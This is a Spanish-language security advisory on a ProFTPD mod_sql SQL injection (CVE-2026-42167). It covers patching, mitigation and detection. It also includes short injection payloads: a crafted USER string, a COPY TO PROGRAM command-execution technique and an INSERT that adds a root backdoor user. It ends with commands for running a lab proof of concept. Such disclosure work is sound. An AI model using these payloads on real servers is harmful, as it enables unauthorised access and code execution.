
Technical analysis and proof-of-concept for CVE-2026-42167, a critical SQL injection in ProFTPD mod_sql enabling authentication bypass, backdoor user injection, and remote code execution.
| Atributo | Valor |
|---|
| Tipo | Inyección SQL (CWE-89) |
| Gravedad | Alta/Crítica |
| CVSS v3 | 8.1 |
| Componente | mod_sql en ProFTPD < 1.3.9a |
| Reportado por | ZeroPath Research |
| Fecha | 28 de abril de 2026 |
is_escaped_text()ProFTPD utiliza la función is_escaped_text() para determinar si un valor ya ha sido saneado antes de insertarlo en una consulta SQL. La función asume que cualquier entrada que:
''...ya ha sido escapada y no requiere procesamiento adicional.
Un atacante puede enviar un nombre de usuario malicioso como:
USER ' || (SELECT 1) ||'
Cuando se inserta en una consulta SQL como:
INSERT "'%U', '%r', '%m'" activity_log
Se produce:
INSERT "'' || (SELECT 1) || ''" activity_log
El payload se ejecuta como SQL arbitrario porque los operadores || concatenan cadenas vacías alrededor del comando inyectado.
Requisitos:
%U o %{basename}Técnica:
COPY (SELECT 1) TO PROGRAM 'comando_malicioso'
Ejecuta comandos a nivel de sistema operativo como el usuario postgres.
Requisitos:
SQLAuthenticate habilitado%U en SQLLog ERR_* (pre-autenticación)Técnica:
INSERT INTO users (username, password, uid, homedir)
VALUES ('attacker', 'password_hash', 0, '/')
El atacante inyecta un usuario backdoor con uid=0 (root) y acceso a todo el sistema de archivos.
Requisitos:
Técnica: Inyección SQL ciega basada en tiempo para extraer credenciales carácter por carácter.
| Variable | Significado | Alcance |
|---|---|---|
%U | Nombre de usuario original (antes de autenticación) | Pre-auth |
%A | Contraseña de login anónimo | Pre-auth |
%J | Parámetros del comando | Pre-auth |
%m | Verbo FTP (STOR, RETR, etc.) | Pre-auth |
%{basename} | Componente del nombre de archivo | Post-auth |
%l | Respuesta ident (RFC 1413) | Pre-auth (si identd está disponible) |
Pre-autenticación (más crítica):
%U + SQLLog ERR_* → Sin credenciales requeridas
Post-autenticación:
%{basename} + SQLLog STOR → Requiere cualquier usuario FTP válido
Actualizar inmediatamente a ProFTPD 1.3.9a o superior:
# Verificar versión actual
proftpd -v
# Actualizar (ejemplo para Debian/Ubuntu)
sudo apt-get update
sudo apt-get install proftpd-basic=1.3.9a-1
Si no puede actualizar inmediatamente:
# Comentar o eliminar estas líneas en proftpd.conf
# SQLLog * log_activity
# SQLLog ERR_* log_activity
-- En PostgreSQL, crear usuario sin privilegios de superusuario
CREATE USER proftpd_user WITH PASSWORD 'secure_password';
GRANT SELECT, INSERT ON activity_log TO proftpd_user;
-- NO otorgar SUPERUSER
TraceLog /var/log/proftpd/trace.log
Trace sql:17
Buscar en los logs de traza de ProFTPD (con Trace sql:17 habilitado):
text 'payload' is already escaped, skipping escaping it again
Este mensaje indica que un intento de bypass ha sido procesado por el motor vulnerable.
# Habilitar trazas detalladas
echo "Trace sql:17" >> /etc/proftpd/proftpd.conf
# Reiniciar ProFTPD
sudo systemctl restart proftpd
# Monitorear logs
tail -f /var/log/proftpd/trace.log | grep "already escaped"
| Versión | Estado |
|---|---|
| < 1.3.9 | ❌ Vulnerable |
| 1.3.9 | ❌ Vulnerable |
| ≥ 1.3.9a | ✅ Parcheado |
| ≥ 1.3.10rc1 | ✅ Parcheado |
# Clonar repositorio
git clone https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc.git
cd proftpd-CVE-2026-42167-poc
# Requisitos
# - Docker
# - Git
# - Python 3.10+
# - uv (gestor de paquetes Python)
# Configurar entorno vulnerable
cd setup
./setup.sh
# Ejecutar PoCs
cd ../pocs
python3 preauth_user_backdoor.py # Inyectar usuario backdoor (pre-auth)
python3 preauth_user_rce.py # RCE vía COPY TO PROGRAM (pre-auth)
python3 postauth_stor_backdoor.py # Inyectar usuario (post-auth)
python3 postauth_stor_rce.py # RCE (post-auth)
# Limpiar
cd ../setup
./teardown.sh
| Fecha | Evento |
|---|---|
| 2026-03-28 | Vulnerabilidad reportada a ProFTPD |
| 2026-04-07 | Verificación y desarrollo de parche |
| 2026-04-24 | CVE-2026-42167 asignado |
| 2026-04-27 | Parche liberado (commit af90843baf7dcb8c6be1e5261be2d0b5b5850673) |
| 2026-04-27 | ProFTPD 1.3.9a lanzado |
SQLLog en todos los servidores ProFTPDÚltima actualización: 28 de abril de 2026
Fuente: ZeroPath Research, MITRE CVE, NVD